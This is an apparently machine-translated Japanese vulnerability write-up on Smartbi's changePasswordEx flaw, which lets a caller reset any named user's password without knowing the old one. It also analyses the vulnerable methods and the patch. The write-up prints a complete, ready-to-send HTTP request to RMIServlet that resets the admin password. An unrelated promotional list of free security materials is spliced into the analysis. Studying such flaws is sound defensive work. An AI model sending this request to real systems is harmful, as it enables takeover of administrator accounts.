脆弱性プロファイル
Smartbiのパッチパッケージ情報を確認したところ、特定の状況下でユーザーのパスワードを改ざんされ、簡易的な再現・解析が行われる脆弱性があることが判明しました。
脆弱性の再発
ページ上でパスワードを変更する場合、元のユーザーに対応するパスワードを知っている必要があります
このようなデータ パケットを直接構築するため、元のパスワードを知る必要はなく、ユーザー名がわかっていればパスワードを変更できます。
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.222.133:18080
Content-Length: 73
Cache-Control: max-age=0
If-Modified-Since: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://192.168.222.133:18080
Referer: http://192.168.222.133:18080/smartbi/vision/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=4A4AC06EC1DF3CDDC45239C211926FA1
Connection: close
className=UserService&methodName=changePasswordEx¶ms=["admin","","1"]
脆弱性分析
smartbi.usermanager.ILocalUserManagerModule#changePasswordEx
smartbi.usermanager.UserManagerModule#changePasswordEx
パスワード変更の操作は、ユーザー名の元のパスワードを変更した後に新しいパスワードを取得しますが、元のパスワードに対する検証処理は行われません。
サイバーセキュリティの学習に役立ち、完全な情報セットの S レターを無料で入手できます:
① サイバーセキュリティ学習の成長パスのマインド マップ
② 60 以上の古典的なサイバーセキュリティ ツールキット
③ 100 以上の SRC 分析レポート
④ サイバーセキュリティの攻撃と防御の戦闘テクニックに関する 150 以上の電子書籍
⑤最も権威のある CISSP 認定試験ガイド + クエスチョン バンク
⑥ 1800 ページを超える CTF 実践スキル マニュアル
⑦ ネットワーク セキュリティ企業からの最新の面接質問集 (回答を含む)
⑧ APP クライアント セキュリティ テスト ガイド (Android+IOS)
userId は受信ユーザー名に基づいて照会されます
smartbi.usermanager.UserManagerModule#updateUserEx
smartbi.usermanager.UserManagerModule#updateUserExtend
バグの修正
パッチ パッケージをアップロードしてデータ パケットを送信した後、パケットが傍受されたことが判明しました
対応するクラス名とメソッドが一致すると実行が終了します